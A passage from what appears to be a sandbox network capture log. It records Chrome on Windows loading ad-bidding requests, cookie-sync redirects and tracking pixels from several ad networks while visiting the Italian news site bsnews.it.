7D%7D HTTP/1.1 Host: aax.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g\|t
2024-03-28 08:51:32 UTC	466	IN	HTTP/1.1 200 OK Content-Type: text/javascript;charset=UTF-8 Content-Length: 675 Connection: close Access-Control-Allow-Origin: https://bsnews.it Access-Control-Allow-Credentials: true Timing-Allow-Origin: * Date: Thu, 28 Mar 2024 08:51:31 GMT Server: Server X-Cache: Miss from cloudfront Via: 1.1 4a9d2f26d7f571e9f468d5bd20d9ae18.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD12-P4 X-Amz-Cf-Id: 6Mz7vRdIZTYixDtlqjyX5NnEzKDTwK1Dz3dem2TfcUKWzZ_xsN_bwA==
2024-03-28 08:51:32 UTC	675	IN	Data Raw: 2f 2a 20 61 61 78 20 72 65 73 70 6f 6e 73 65 20 2a 2f 0a 61 70 73 74 61 67 2e 62 69 64 73 28 7b 22 73 6c 6f 74 73 22 3a 5b 7b 22 74 61 72 67 65 74 69 6e 67 22 3a 5b 22 61 6d 7a 6e 69 69 64 22 2c 22 61 6d 7a 6e 70 22 2c 22 61 6d 7a 6e 73 7a 22 2c 22 61 6d 7a 6e 62 69 64 22 2c 22 61 6d 7a 6e 61 63 74 74 22 5d 2c 22 66 69 66 22 3a 22 31 22 2c 22 61 6d 7a 6e 69 69 64 22 3a 22 4a 4e 34 44 6a 53 44 61 56 49 34 50 78 6c 5f 75 58 59 45 4e 6a 56 45 41 41 41 47 4f 68 45 48 63 46 77 45 41 41 41 34 72 41 51 42 68 63 48 4e 66 64 48 68 75 58 32 4a 70 5a 44 45 67 49 43 42 68 63 48 4e 66 64 48 68 75 58 32 6c 74 63 44 45 67 49 43 42 48 4c 4f 4c 62 22 2c 22 73 69 7a 65 22 3a 22 33 30 30 78 36 30 30 22 2c 22 63 72 69 64 22 3a 22 32 32 33 36 32 32 31 22 2c 22 6d 65 74 61 22 Data Ascii: /* aax response */apstag.bids({"slots":[{"targeting":["amzniid","amznp","amznsz","amznbid","amznactt"],"fif":"1","amzniid":"JN4DjSDaVI4Pxl_uXYENjVEAAAGOhEHcFwEAAA4rAQBhcHNfdHhuX2JpZDEgICBhcHNfdHhuX2ltcDEgICBHLOLb","size":"300x600","crid":"2236221","meta"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
408	192.168.2.4	50235	18.160.24.6	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	1645	OUT	GET /e/dtb/bid?src=3627&u=https%3A%2F%2Fbsnews.it%2F2015%2F01%2F23%2Fle-citta-piu-brutte-d-italia-brescia-al-nono-posto-in-classifica%2F&pid=fMAH01Ecx6l5G&cb=1&ws=1280x907&v=24.305.1002&t=2000&slots=%5B%7B%22sd%22%3A%22bsnews-floorad-desktop%22%2C%22s%22%3A%5B%22728x90%22%5D%7D%5D&pj=%7B%22device%22%3A%7B%22sua%22%3A%7B%22architecture%22%3A%22x86%22%2C%22bitness%22%3A%2264%22%2C%22mobile%22%3A0%2C%22model%22%3A%22%22%2C%22source%22%3A2%2C%22platform%22%3A%7B%22brand%22%3A%22Windows%22%2C%22version%22%3A%5B%2210%22%2C%220%22%2C%220%22%5D%7D%2C%22browsers%22%3A%5B%7B%22brand%22%3A%22Google%20Chrome%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%2C%7B%22brand%22%3A%22Not%3BA%3DBrand%22%2C%22version%22%3A%5B%228%22%2C%220%22%2C%220%22%2C%220%22%5D%7D%2C%7B%22brand%22%3A%22Chromium%22%2C%22version%22%3A%5B%22117%22%2C%220%22%2C%225938%22%2C%22132%22%5D%7D%5D%7D%7D%7D&sm=8808e21e-6ea5-4543-8180-31905f081884&gdprl=%7B%22status%22%3A%22no-cmp%22%7D&vm=%7B%22ids%22%3A%7B%22pubcommon%22%3A%224c5bf266-24df-402d-bdb8-4178f61acf26%22%7D%7D HTTP/1.1 Host: aax.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://bsnews.it/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=A_Jw6tBbHE0JghtRXUp_d2g\|t
2024-03-28 08:51:32 UTC	466	IN	HTTP/1.1 200 OK Content-Type: text/javascript;charset=UTF-8 Content-Length: 652 Connection: close Access-Control-Allow-Origin: https://bsnews.it Access-Control-Allow-Credentials: true Timing-Allow-Origin: * Date: Thu, 28 Mar 2024 08:51:32 GMT Server: Server X-Cache: Miss from cloudfront Via: 1.1 7cd90bfbf5a6ee327baf597a703e2422.cloudfront.net (CloudFront) X-Amz-Cf-Pop: IAD12-P4 X-Amz-Cf-Id: Vmn_VU0ss3cJJ2KcwsXi0Ji6XQOYoWofc3CVQdUc3wpSODJOreIX-A==
2024-03-28 08:51:32 UTC	652	IN	Data Raw: 2f 2a 20 61 61 78 20 72 65 73 70 6f 6e 73 65 20 2a 2f 0a 61 70 73 74 61 67 2e 62 69 64 73 28 7b 22 73 6c 6f 74 73 22 3a 5b 7b 22 74 61 72 67 65 74 69 6e 67 22 3a 5b 22 61 6d 7a 6e 69 69 64 22 2c 22 61 6d 7a 6e 70 22 2c 22 61 6d 7a 6e 73 7a 22 2c 22 61 6d 7a 6e 62 69 64 22 2c 22 61 6d 7a 6e 61 63 74 74 22 5d 2c 22 66 69 66 22 3a 22 31 22 2c 22 61 6d 7a 6e 69 69 64 22 3a 22 4a 50 31 32 41 65 6d 38 77 4d 76 53 6a 76 74 4a 51 50 58 51 53 7a 73 41 41 41 47 4f 68 45 48 63 54 51 45 41 41 41 34 72 41 51 42 68 63 48 4e 66 64 48 68 75 58 32 4a 70 5a 44 45 67 49 43 42 68 63 48 4e 66 64 48 68 75 58 32 6c 74 63 44 45 67 49 43 43 73 47 56 50 42 22 2c 22 73 69 7a 65 22 3a 22 37 32 38 78 39 30 22 2c 22 63 72 69 64 22 3a 22 32 32 34 33 33 39 34 22 2c 22 6d 65 74 61 22 3a Data Ascii: /* aax response */apstag.bids({"slots":[{"targeting":["amzniid","amznp","amznsz","amznbid","amznactt"],"fif":"1","amzniid":"JP12Aem8wMvSjvtJQPXQSzsAAAGOhEHcTQEAAA4rAQBhcHNfdHhuX2JpZDEgICBhcHNfdHhuX2ltcDEgICCsGVPB","size":"728x90","crid":"2243394","meta":

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
409	192.168.2.4	50258	104.18.36.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	752	OUT	GET /crum?cm_dsp_id=156&external_user_id=7687c594-1bff-4b8d-b7fd-ac5b0069f223 HTTP/1.1 Host: dsum.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
2024-03-28 08:51:32 UTC	972	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 86b660fed81c9c54-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZgUvi9HM46UAADq7ABhzMwAA; Path=/; Domain=casalemedia.com; Expires=Fri, 28 Mar 2025 08:51:32 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=2753; Path=/; Domain=casalemedia.com; Expires=Wed, 26 Jun 2024 08:51:32 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=WnuKphZtDvA6ciUO2rbRIvEmYLhAELaNqmi5EfsWpYhVFyatXGBYdrym8XTwn7ql0ZlJWoDPF%2Bbngm5oM6dq8jD3ocVtrX5CzG9L%2FI7nAirLIvtB%2Bx8Mm8kH91prccxIotst8nmT"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:32 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
410	192.168.2.4	50231	67.202.105.22	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	939	OUT	GET /ps/?m=xch&rt=html&id=0015a00003HljHyAAJ&ru=https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3D33ACROSS%26ttl%3D720%26uid%3D2f9442d7df2189f76c8b593d5f54ce95%26visitor%3D33XUSERID33X%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1 Host: ssc-cms.33across.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://visitor.omnitagjs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	795	IN	HTTP/1.1 302 p3p: CP="NOI DSP COR NID PSA PSD OUR IND UNI COM NAV INT DEM STA" set-cookie: 33x_ps=u%3D212531644083252%3As1%3D1711615892303%3Ats%3D1711615892303; Domain=.33across.com; Expires=Fri, 28-Mar-2025 08:51:32 GMT; Path=/; Secure; SameSite=None referrer-policy: unsafe-url pragma: no-cache cache-control: no-store, no-cache, must-revalidate expires: Thu, 01-Jan-70 00:00:01 GMT x-33x-status: 8340000C server: 33XP004 location: https://de.tynt.com/deb/?m=xch&rt=html&id=0015a00003HljHyAAJ&ru=https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3D33ACROSS%26ttl%3D720%26uid%3D2f9442d7df2189f76c8b593d5f54ce95%26visitor%3D33XUSERID33X%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= content-length: 0 date: Thu, 28 Mar 2024 08:51:31 GMT connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
411	192.168.2.4	50260	104.18.36.155	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	743	OUT	GET /crum?cm_dsp_id=191&external_user_id=228cb039-6430-c48d-d32df1cb HTTP/1.1 Host: dsum.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
2024-03-28 08:51:32 UTC	974	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 86b660fedd9d0623-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZgUvi9HM46UAADq7ABhzMwAA; Path=/; Domain=casalemedia.com; Expires=Fri, 28 Mar 2025 08:51:32 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=2753; Path=/; Domain=casalemedia.com; Expires=Wed, 26 Jun 2024 08:51:32 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=ugRRlKRKIhAu6AGLqbpH8r74SE0d1X5GIdkgOEZTlrQETm1TLjnJZXgmRF5DupwYySRui9pGL1wOVmAXyLi508OI7bVnkYkYoPAu9%2FVipRGfYmXIyFoj%2F0ih%2FHhlU5Jc3%2FoOPRrS"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:32 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
412	192.168.2.4	50273	35.244.154.8	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	661	OUT	GET /711169.gif?partner_uid=9741359e-b2a2-4864-af08-41d769df6c9b&ct=4&cv=[GDPR_CONSENT] HTTP/1.1 Host: idsync.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://sync.admanmedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	735	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: no-cache, no-store Location: https://idsync.rlcdn.com/1000.gif?memo=CIG0KxIwCiwIARCnhAoaJDk3NDEzNTllLWIyYTItNDg2NC1hZjA4LTQxZDc2OWRmNmM5YhAAGg0IlN-UsAYSBQjoBxAAQgBKAA P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: rlas3=E9lxb7YToQPf0UWp1RijnNpoNT4EYab5OBFQvE6+p34=; Path=/; Domain=rlcdn.com; Expires=Fri, 28 Mar 2025 08:51:32 GMT; Secure; SameSite=None Set-Cookie: pxrc=CAA=; Path=/; Domain=rlcdn.com; Expires=Mon, 27 May 2024 08:51:32 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
413	192.168.2.4	50286	74.119.119.150	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	805	OUT	GET /dis/usersync.aspx?r=70&p=120&cp=adyoulike&cu=1&url=https%3A%2F%2Fvisitor.omnitagjs.com%2Fvisitor%2Fsync%3Fis_cookie_sync_uid%3Dtrue%26uid%3D4246a50e6cf42e85f26c381a4b7701fb%26name%3DCRITEO%26visitor%3D%40%40CRITEO_USERID%40%40 HTTP/1.1 Host: dis.criteo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://visitor.omnitagjs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:32 UTC	441	IN	HTTP/1.1 200 OK content-type: image/gif date: Thu, 28 Mar 2024 08:51:32 GMT server: Kestrel cache-control: no-cache expires: Thu, 28 Mar 2024 00:00:00 GMT pragma: no-cache transfer-encoding: chunked x-errorlevel: 0 p3p: CP="NON DSP COR CURa PSA PSD OUR BUS NAV STA" cross-origin-resource-policy: cross-origin server-processing-duration-in-ticks: 432748 strict-transport-security: max-age=31536000; preload; connection: close
2024-03-28 08:51:32 UTC	54	IN	Data Raw: 32 42 0d 0a 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 00 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2BGIF89a!,D;0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
414	192.168.2.4	50242	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	797	OUT	GET /rum?cm_dsp_id=39&external_user_id=a109dc60-dc7c-45e5-ab53-e2448a53420f&expiration=1714207888&gdpr=0&gdpr_consent= HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
2024-03-28 08:51:32 UTC	990	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 86b660fede260568-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZgUvi9HM46UAADq7ABhzMwAA; Path=/; Domain=casalemedia.com; Expires=Fri, 28 Mar 2025 08:51:32 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=2753; Path=/; Domain=casalemedia.com; Expires=Wed, 26 Jun 2024 08:51:32 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=GTOg3JbefLB5XgBkv6%2B20KZNfQ1Er6xsj1GdJXW4L20CzVO7KZlM4VhR73G1AhBFNQnwfsBc%2FuTLxdgCKD4czg2AUze6zfFohA%2BuYSjm9CZywdfCpXdJ8u%2F55rjD%2FDbrCl%2FOJrVBCXmN2A%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:32 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
415	192.168.2.4	50243	172.64.151.101	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	751	OUT	GET /crum?cm_dsp_id=90&external_user_id=847CD017CFA04EE58AAA8C55A751BC64 HTTP/1.1 Host: dsum-sec.casalemedia.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=ZgUvi9HM46UAADq7ABhzMwAA; CMPS=2753; CMPRO=2753
2024-03-28 08:51:32 UTC	984	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Type: image/gif Content-Length: 43 Connection: close CF-Ray: 86b660fedf1d571c-IAD CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=ZgUvi9HM46UAADq7ABhzMwAA; Path=/; Domain=casalemedia.com; Expires=Fri, 28 Mar 2025 08:51:32 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=2753; Path=/; Domain=casalemedia.com; Expires=Wed, 26 Jun 2024 08:51:32 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xGriDSxMJSJ9nAmDxil7CJmP77LqGquovaB3AjStDONRqLNmkkB2bIHXh%2Ff3jatY%2Fx6jhcnidPWx1ra88Ee8Gr7aVk20Mtwi2nqM26qsiMhhjrGm9LAdYHLZCrSvIZqGpc8SglTUCM2%2BCw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:32 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
416	192.168.2.4	50262	68.67.181.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	1061	OUT	GET /getuid?https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3DXandr%2B%25E2%2580%2593%2BInvest%2BDSP%26ttl%3D720%26uid%3D48d5713d5c563cba2049f505b2d944b6%26visitor%3D%24UID%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://visitor.omnitagjs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; icu=ChgIjq9kEAoYASABKAEwh9-UsAY4AUABSAEQh9-UsAYYAA..; receive-cookie-deprecation=1; uuid2=3287041831475129344
2024-03-28 08:51:32 UTC	1566	IN	HTTP/1.1 302 Found Server: nginx/1.23.4 Date: Thu, 28 Mar 2024 08:51:32 GMT Content-Type: text/html; charset=utf-8 Content-Length: 0 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness Location: https://visitor-us-west-2.omnitagjs.com/visitor/sync?name=Xandr+%E2%80%93+Invest+DSP&ttl=720&uid=48d5713d5c563cba2049f505b2d944b6&visitor=3287041831475129344&gdpr=0&gdpr_consent=&gdpr=0&gdpr_consent= AN-X-Request-Uuid: 4beee957-5998-4078-9254-ce0638410207 Set-Cookie: XANDR_PANID=FSn7X5NeciEMQOCcjHxXHqehzn-v4svBsj-gMw-pgwSgQCfMLVcv8zsZGedeIaeQHaHBYiGUTPoYHQhuiVJPrQfUeNdxFRZDxgmjjszNmB4.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:32 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 16-Mar-2034 08:51:32 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uuid2=3287041831475129344; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 26-Jun-2024 08:51:32 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 102.165.48.43; 102.165.48.43; 584.bm-nginx-loadbalancer.mgmt.nym2.adnexus.net; adnxs.com

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
417	192.168.2.4	50261	68.67.181.211	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:32 UTC	1074	OUT	GET /getuid?https%3A%2F%2Fvisitor-us-west-2.omnitagjs.com%2Fvisitor%2Fsync%3Fname%3DXandr%2B%25E2%2580%2593%2BInvest%2BDSP%2B-%2BBanner%26ttl%3D720%26uid%3D75d56568a11564bfb79a01d2fa9fdb29%26visitor%3D%24UID%26gdpr%3D0%26gdpr_consent%3D&gdpr=0&gdpr_consent= HTTP/1.1 Host: secure.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://visitor.omnitagjs.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: 